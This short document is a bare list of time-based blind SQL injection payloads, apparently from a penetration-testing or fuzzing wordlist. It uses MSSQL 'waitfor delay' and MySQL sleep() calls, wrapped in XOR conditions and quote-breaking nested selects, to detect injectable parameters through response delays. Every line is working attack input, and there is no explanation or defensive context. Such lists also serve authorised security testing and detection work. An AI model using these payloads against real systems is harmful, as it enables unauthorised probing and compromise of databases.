1-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

1*if(now()=sysdate(),sleep(15),0)